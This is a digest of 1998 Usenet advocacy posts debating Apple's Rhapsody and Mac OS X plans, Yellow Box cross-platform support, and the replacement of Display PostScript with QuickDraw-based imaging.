> Killing NXHosting is, IMHO, a bad thing. You no longer get it for free.
> Maybe someone can write anapplication to do this, like screencast or
> PC Anywhere. And then you can manage all your stuff remotely. Maybe
> someone third party has already started this???
VNC (see http://www.orl.co.uk/vnc ) could be ported if enough interest is
there.
--
* Frank M. Siegert [frank@this.net] - Home http://www.this.net/~frank
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* "The answer is vi, what was your question...?"
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 23:15:08 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jib8s$o02$1@larry.admin.phil.uu.nl>
References: <andyba-ya02408000R1205981228550001@news> <6jafbi$hbb$1@larry.admin.phil.uu.nl> <andyba-ya02408000R1305981537240001@news>
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Andy:
>> Okay, okay, I surrender. Maybe it will be like you say.
>> It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
[short rant]
>
>Nope, no 68K emulator.
They promised it would run the old apps, although without the
multitasking etc. benefits, didn't they. Seems to me it
needs some 68k emulator somewhere.
Freek
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 15 May 1998 21:20:33 GMT
Message-ID: <6jibj1$t02$1@newsfep1.sprintmail.com>
References: <355c8968.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <355c8968.0@206.25.228.5> John Kheit wrote:
> I just wanted to say Kudos to Scott for his just unbelievable
> coverage of the conference. I've *never* read coverage this good
> before. And STEPWISE and everyone there have been doing just great
> work in general.
Yep, its nice to read articles written by a knowledgable person who writes
about fact, rather than
letters he gets from wackos (I am sure you know which mac site I am talking
about)
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 19:29:12 GMT
Organization: Michigan State University
Message-ID: <6ji528$n8h$2@msunews.cl.msu.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <355A1631.F7BD6362@milestonerdl.com>
<6jfv8f$1cc$34@ironhorse.plsys.co.uk> <355C4C9F.5C1E3A06@milestonerdl.com>
<6jhot2$aag$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6jhot2$aag$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <355C4C9F.5C1E3A06@milestonerdl.com>,
mark@milestonerdl.com wrote:
>
> > Brett talked about support for
> > Rhapsody in the future on multiple architectures, but again, he too
was
> > very vague on this subject and did not specifically mention Intel.
We believe
> > Steve briefed these keynote speakers ahead of time, and warned them
to stay
> > clear of the Intel situation since they aren't quite secure in this
area.
> > Brett Halle, Manager of the Core OS group
>
> > Apple says to 'stay clear' of Intel right here.
>
> Apple has said no such thing. Point to me a quote of an Apple
official
> saying to stay clear of Intel.
>
> This is what you get when you trust a second-hand _opinion_ of
someone
> -- which conveniently agrees with your own prejudices, funny how you
never
> seem to listen to any of the other attendees who have been saying
that
> Apple looks committed -- rather than what Apple has been saying all
along:
> that they remain committed to cross-platform. Apple fully intends to
> remain committed to an OS offering on Intel at least through the OS X
> time frame, and a Windows offering (including NT5/98) for the
long-haul.
These guys have their own 'reality distortion field' generated by the
tinfoil
hats :)
Give up Nathan - I am as concerned about many things about Apple
and the Intel path of YB, and as always I do emergency preparation
in case things go by the wayside - and because of this I can't commit
to Rhapsody whole-hog. But to constantly complain and come up
with reasons why they won't, and fear this, paranoia that.. I'm
guardedly optimistic. I will purchase Rhapsody (Intel initially then
possibly a PPC box with PPC Rhapsody) and some YB apps to support
all the good folks out there once again to the best of my ability.
If everyone else wants to write off Rhapsody and YB then if it does
go down you can all lie in the bed you made. I suggest if you are
really advocates you let people know that we must support Rhapsody
YB and Apple if we want YB to have any chance of survival we
have to put our money where our mouths are.
What are our alternatives? For me the free unix's are first in my
mind,
the thought of 9x/NT makes me sick. Anything else is too small a
niche
market. I will also give Apple a hint here to release hardware specs
so the LInux and MkLinux crowds can support PPC. This would give
my clients more confidance in purchasing PPC in the long run if their
benchmarks are born out. If they can do their work and have a nice
desktop all the better.
A company can do anything it likes surely. Even if they announce a
product.
The question is what would happen to Apple if they ceased YB right now
or anytime in the future.
"I tell you Apple will die", "I tell you Apple will die", "I tell
you..." "I tell you.."
"I tell you Apple will die"...
Apple will not and can not survive on a Rhapsified Carbon. If they
drop YB
the developers they really want to keep around will fly like birds to
some
other perches and lament the death of their favorite tree.. Apple
could
try to put Carbon on Intel in effect but I would see them loosing a lot
of
developers and important core technologies based on YB. Can they
go Java +Carbon? I'm not sure. YB is at Apple's core and they will
do everything they can to keep it alive. If the markets don't
reciprocate
then they and the rest of us will have to begrudingly move on.
If it came to that I would hope Apple would release the source rather
than bury YB. But at that point they might keep it so someone else
would have a reason to buy them. :(
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 23:12:52 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jib4k$nu6$1@larry.admin.phil.uu.nl>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu>
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Pulsar:
>What you wrote really needs correction.
>Mac OS X will include:
[things]
>Rhapsody 1.0 will include:
[more things]
>
>The only differences between the two are the names, the
>possible lack of the Unix BSD layer in Mac OS X, and the
>presence of the Carbon APIs in Mac OS X. Other than those,
>the two OSes are the same.
Well, no.
The _big_ difference is that (outside the blue box), Rhapsody
will contain _no_ Mac OS legacy code (well, let's forget
about HFS+ for the moment: using that instead of UFS is a bad
idea anyway). Mac OS X will. Lots, actually.
Big difference.
Freek
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X, Unix, and Open Firmware (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Fri, 15 May 1998 14:40:06 -0500
Organization: KAOS
Message-ID: <19980515144006789374@sdn-ts-009txhousp03.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <19980514155241852134@sdn-ts-011txhousp14.dialsprint.net> <B181637B-B057D@204.31.112.117>
Phil Brewster wrote:
> The question I would have at that point is whether PCI machines with G3
> upgrade cards would also be supported at all, since if the Open Firmware
> version is the reason and the real issue behind making MacOS X 'G3-only',
> then only 'current' brand-new Apple G3 systems (and future iMac-and-later
> G3 systems from Apple) would have the appropriate ROM chips, etc., for
> MacOS X, as I understand it, true?
If the Open Firmware explanation is valid, the chip is not the issue.
(Aside: Despite what upgrade manufacturers advertise, the chip is *not*
a G3; the machine is. Hence, "G3-only" becomes somewhat specific --
albeit confusing wrt the iMac. Also, interestingly enough I believe the
last "current" non-G3 machine just disappeared from The Apple Store last
week, when the iMac, new PowerBooks and edu/int'l Apple Stores debuted.)
> -- IOW, will current buyers of, say, the UMAX S900 + bundled G3 card be
> screwed?....
If by "screwed," you mean "unable to run OS X," from here the answer
looks like yes. I'm guessing those buyers will be able to run Rhapsody,
however.
> If so, then this is why some of us still mourn and bemoan the
> demise of CHRP and 'ROM-less' Macs. (Apple's refusal to release the G3
> specs to Be, Inc. being another recent example, IMNSHO....).
I don't want to defend Apple's closed-hardware policy, even if I can
rationalize the death of cloning as possibly necessary for Apple's (and
the Mac's) survival. I guess it boils down to whether or not you think
x86 hardware offers a better OS alternative. It certainly offers more
of them (natively, anyway), but quantity != quality. ;-)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Fri, 15 May 1998 17:31:01 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981731010001@132.236.171.104>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104> <pxpst2-1405981509500001@pelli.pathology.pitt.edu>
In article <pxpst2-1405981509500001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu wrote:
> In article <ericb-1405981420100001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
> >
> > OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
> > vast majority of machines out there...
>
> True enough but because MacOS X will run on top of Mach 3.0, it will run
> fine on just about any of the PCI machines. Nubus powermacs and the older
> ones are the guys shit out of luck.
I wonder if they will bother supporting very many pre-G3 machines.
Certainly they could.
But as far as Mach goes, MkLinux runs even on NuBus PPC Macs, although I'm
not sure which version of Mach it's using.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Date: Fri, 15 May 1998 13:06:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1505981306200001@wil95.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com>
In article <355B1A3C.5955AED1@milestonerdl.com>, mark@milestonerdl.com wrote:
> Eric Bennett wrote:
>
> > The death of YB as a cross-platform solution. If Apple were going to
> > announce long-term YB Windows support or long-term Rhapsody/Intel support,
> > I think they would have announced it at WWDC. They did not. Read between
> > the lines. What does this tell you?
>
> The party is NOT over yet.
>
> Now, I asked about YellowBox on NT 5.x/98 5-7 months ago. And, when WWDC was
> ramping up, the ProNeXT people said 'wait for WWDC, it will tell all'.
>
> WWDC isn't over yet....but when it is, and there is no NT 5.x announcement,
> the cross-platform YellowBox will be a promise that Apple has no intention of
> supporting it in the long-term.
Nonsense. Apple has specifically and clearly stated that YB will work on
WinNT/95.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 13:08:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1505981308510001@wil95.dol.net>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk>
In article <6jh0fi$1cc$38@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <see-below-1405982138030001@209.24.240.162> Matthew Vaughan wrote:
> > In article <355AD786.FD81A010@milestonerdl.com>, mark@milestonerdl.com
> wrote:
> >
>
> > > but then what's the diff between Rhapsody/PPC and MacOS X?
> >
> > That's a good question, to which I don't know the answer.
> >
> Carbon APIs and the imaging model.
> (Along with various other enhancements, lime Mach 3 kernel, better BlueBox
> etc.)
I wouldn't be surprised to see Rhapsody bundled with more/better tools, as
well. That's speculation, though, and not based on any word (official or
rumor) from Cupertino.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 13:22:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Message-ID: <joe.ragosta-1505981322370001@wil95.dol.net>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104>
In article <ericb-1405981420100001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <6j8i0r$aq$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > In article <MPG.fc18109c8dbd1a19896ae@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
> >
> > > It is much harder to justify 2 years, or even 6 months, to rewrite our
> > > apps for Rhapsody. We will then have two completely separate code bases
> >
> > Why? Yellow on MacOS.
>
> OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
> vast majority of machines out there...
Let's not jump to conclusions. OS X will reportedly run on any PPC
machine. I don't expect 040 support to continue indefinitely--even if they
_didn't_ have OS X.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 13:59:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1505981359080001@wil95.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com>
In article <355B3744.18038EC5@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
>
> > In article <355B30B0.355C95BB@milestonerdl.com>, mark@milestonerdl.com
wrote:
> >
> > > Nathan Urban wrote:
> >
> > > > In article <355AEB93.4AC11DA3@milestonerdl.com>,
mark@milestonerdl.com wrote:
> > > > But the main point is that the people who "fell for" developing for the
> > > > Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
> > > > part of MacOS X.
> >
> > > And if you 'fell for it' as part of a cross-platform spec, you will
have to
> > > move elsewhere.
> >
> > Wrong.
>
> Show where there is a cross-platform future? So far no one has shown a press
> release showing that Apple feels NT 5.X/Win 98 is worth making a
committment to.
Baloney. Apple has consistently stated that YB apps will run on Win95/NT.
It's in most of their discussions on YB.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 15:11:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Message-ID: <joe.ragosta-1505981511320001@wil93.dol.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com>
In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra
<nospam@nospam.com> wrote:
> Matthew Vaughan wrote:
>
> > Also, Rex's statement is incorrect. Developers went from a
> > start-from-scratch major rewrite, compile once, deploy elsewhere to a
> > minor touch up, compile once, deploy once situation.
>
> True, but how is touching up old Mac OS apps going to increase market
> share? I agree it is important, but if Apple doesn't stop making it
> sound like this is "the way" to the future for Apple, we'll never see
> any Yellow apps.
>
> > They still have the yellow box option as before.
>
> True, but will Yellow Run on anything other than Mac OS X (which will
> only run on Macs) in the next couple years? If not, then Yellow is just
> another API for the same system, so why bother with it at all, just
> write for Carbon...
Because Yellow will run on Win95, WinNT, and Rhapsody/Intel--none of which
will use Carbon.
Equally important, Yellow is a vastly superior development time--saving
the developer tons of time and money.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 16:27:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Message-ID: <joe.ragosta-1505981627300001@wil93.dol.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5>
In article <355c8782.0@206.25.228.5>, jkheit@xtdl.com wrote:
> see-below@not-my-address.com (Matthew Vaughan) wrote:
> > In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > > I disagree to some extent. To me it seems like some mac users not
> > > only dont want unix, but they don't want others to be able to use
> > > it if they don't. Heaven forbid (i.e. apple) if others might
> > > actually make use of something they don't feel like learning. So
> > > in some twisted fashion and perhaps for reasons of fearing falling
> > > behind in technical prowess they will begrudge others the opportunity
> > > to use better technology.
>
> > What prompts you to say that?
>
> Some users that I run into say stuff like "No, I never want a CLI or unix
> in the macOS, even if I don't have to see it or deal with it."
That doesn't sound very rational.
I guess _my_ feeling is I couldn't care less if there's a CLI or not. If
enough people want it to justify the time and effort and if it's hidden
from me, put it in.
If there are _not_ enough people to justify the time and effort, leave it out.
Either way is OK with me, as long as I don't have to use it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 14:34:49 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1505981434500001@ip36.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu>
In article <6j83ou$fog$1@flotsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> Either you jump off the diving board or you don't, it doesn't do much good
> to be hanging on to the edge with three fingers.
> They pulled it off with PowerPC. What's the basic problem with this one?
Legacy apps (and their developers).
Think of it as an equivalent to 68K emulation on PPC Macs.
Sort of. :}
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:25:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jibt6$9ch$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com> <355C787A.2B058D89@milestonerdl.com>
mark@milestonerdl.com wrote:
> > According to Scott Anguish's detailed WWDC notes:
> >
> > :: One thing that I do want to note is that it was mentioned on
> > :: several occasions that Yellow Box for Windows is a long-term
> > :: commitment, and that it will run on Windows 98 and NT 5.0
> > :: (if it ever appears). I think it was mentioned that DR2 runs
> > :: on the current Windows 98 beta.
> >
> > See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
> >
> > Satisfied?
>
> Not really.If Apple doesn't ship/support NT5.x, they can say
> "What Proof?" So far you have a jouralist/developer who said
> that....and, they arn't company spokesman.
Aren't you the one who's been repeatedly citing a Macnn article as "evidence"
that Apple does NOT plan to support NT?
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 12:54:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B181EB86-C00BD@206.165.43.138>
References: <355C8A93.F71D9C6D@spamtoNull.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jonathan Harker <Limeyville@spamtoNull.com> said:
>Eric Bennett wrote:
>
>>
>> I was certainly hoping that Apple would say something like this:
>>
>> "YB is our set of APIs for the future. Take as long as you need to feel
>> comfortable porting to it, because our new modern OS [whatever you want
>to
>> call it] will have an up-to-date Blue Box to emulate your older
software.
>> When you've ported to YB, your apps will have better performance and
they
>> will run our PPC and Intel versions of the OS, and will also run in YB
for
>> Windows. This is a significant advantage of YB--don't throw it away.
To
>> show you how powerful it is, we're rewriting AppleWorks (formerly
>> ClarisWorks) in YB as a demonstration. We should have done that with
>> OpenDoc, but we screwed up. This time we'll show you what can be done
>> with this powerful tool."
>>
>> Instead we have:
>>
>> "Keep writing your apps to MacOS APIs. We know new APIs are so hard to
>> learn that developers will ignore them no matter what features they
>> offer. To show that we really understand this philosophy, we're not
going
>> to use a decent imaging API like DPS or GX in our new OS. We're using
>> sucky 'ol QuickDraw. We'll ship a version of Rhapsody x86 and YB for
>> Windows and see how many people we can sucker into using it, but as
>you've
>> seen we refuse to commit to either for the long term, and observant
>people
>> can probably figure out what that means. And just to prove how crazy we
>> are, we're not going to support that spiffy, expensive 9600/350 you just
>> bought at the beginning of this year."
>>
>
>
>At last, some strong sanity pervades these spaces....:) Like a breath of
>fresh air....:)
It isn't quite THAT bad (but almost). The Bravo/PDF imaging system is
pretty much the same as QuickDraw except for better color handling and
floating point coordinates to provide device-independent graphics. Support
for threading is providing by having an explicity set/getport built into
every call (apparently).
There are quite a few problems with this solution, but the main one is that
it isn't GX.
Seriously, there were quite a few flaws in the design of QuickDraw that GX
was designed to do away with. These flaws ARE addressed by "enhanced
QUickDraw," but in the least elegant way possible.
For instance, for our unified imaging model, we now have PDF. PDF files
aren't really designed for interactive graphics or editing. For instance,
how many of you have actually looked at the contents of an acrobat file? It
ain't pretty.
OTOH, the GX picture shape provides ALL of the functionality of PDF (in
this context) and it IS designed to be edited easily, although not directly
via a text-editor, I'll admit.
What Apple has done with this new imaging model is provide the minimalist
solution that is "industry standard and cross-platform."
And, since GX picture shapes are well structured, it is easy to translate
them directly into PDF or any other format.
The biggest irony is that the graphics primitives of "enhanced QuickDraw,"
while not as powerful as GX (generally, although they are likely more
powerful in other ways), could easily have been structured by Apple to
support a GX picture-shape-like object which could then easily and
straightforwardly be translated straight into PDF format for use with other
platforms or for printing.
In this way, the structure of a graphical image under Carbon would still be
editable by any application that understood the Carbonite picture-shape.
I mean, really. The moral, ethical and technical poverty of this move is
appalling: in one swoop they have abandoned ALL backwards compatibility
with every 68K owner (unless they are using Acrobat to view the files, but
not edit them), and have abandoned years of research and development on the
most powerful 2D graphics library ever made available license-free (GX) ot
3rd-party developers.
Pathetic.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c810a.0@206.25.228.5>
Date: 15 May 98 17:53:14 GMT
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> Wow, you guys are really tied to your UI!
> UI is a big reason why I chose NEXTSTEP, but the technology
> improvements in Rhapsody/OS X are enough that I'll switch anyway.
That's what I was thinking. I could tone down that tinker toy UI
they're so proud of developing to something reasonable and deal.
But now I hear this DPS thing; that it's going away. Which I also
could care less about on the specifics. Personally, dumping it to
get rid of licensing problems seems like a good idea (or at least
threat). But the ominous prospect of replacing with QuickDraw
makes me ill. Whatever they replace it with, god help us, should
be a ****UNIFIED IMAGING/PRINTING MODEL****. Meaning the EXACT
same code that's used to render to screen will result in a print
out with *NO* extra effort from the developer. If that happens,
then fine, I could care less what they substitute, as long as it
works decently. However, QuickDraw, IMO, generally is a bastard
child (withstanding even Lawson's advocacy). Perhaps GX can be
used to make things smooth, great, but it's past performance leads
me to the bastard child feel, personally.
Anyway, so I'm sitting here infront of my OPENSTEP 4.2 box, and
thinking, why the HECK am I going to leave for that rediculous UI,
no unified imaging model (pure speculation, but that's what I'm
doing speculating). BLAH. Just makes me wonder. Regardless, the
tech people at apple (seems certainly not the UI people) are pretty
with it, so I'm sure hopeful that whatever they end up using for
an imaging system will be unified. That being done, I'll be happy.
The point of the above endless diatribe is: yes, I too can stand
the hit of that puke tinker UI alone and in and of itself. But if
apple strips the system of too much more of what made it great, it
really is just pushing me towards "aw I don't give a F***" land.
YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Subject: Re: Apple Dumps Display Postscript in Rhapsody
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy
References: <6jhusk$ao4$1@crib.bevc.blacksburg.va.us>
MIME-Version: 1.0
Message-ID: <B1821A5A-5279FD@141.214.128.36>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Date: Fri, 15 May 1998 20:10:20 GMT
NNTP-Posting-Date: Fri, 15 May 1998 16:10:20 EDT
How do they plan on doing Net Computers if they're dropping NSHosting?
Does this mean they're going to abandon work on net computers?
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #8: "Wow. A doctor. Maybe you can help me with another
little problem I'm having. What exactly does it mean when you wake up every
morning in a pool of your own vomit?"
-Chris Elliott
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c8782.0@206.25.228.5>
Date: 15 May 98 18:20:50 GMT
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > I disagree to some extent. To me it seems like some mac users not
> > only dont want unix, but they don't want others to be able to use
> > it if they don't. Heaven forbid (i.e. apple) if others might
> > actually make use of something they don't feel like learning. So
> > in some twisted fashion and perhaps for reasons of fearing falling
> > behind in technical prowess they will begrudge others the opportunity
> > to use better technology.
> What prompts you to say that?
Some users that I run into say stuff like "No, I never want a CLI or unix
in the macOS, even if I don't have to see it or deal with it."
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c8237.0@206.25.228.5>
Date: 15 May 98 17:58:15 GMT
far_no@spam.ix.netcom.com(Felipe A. Rodriguez) wrote:
> I can sympathize with that, but if measured by the same criteria
> then Apple is far worse than either Adobe or Alladin.
I agree with that. For instance, why not just go to Display
Ghostscript instead of Quick draw. Seems like a LOT less work.
But what the heck do I know.
--
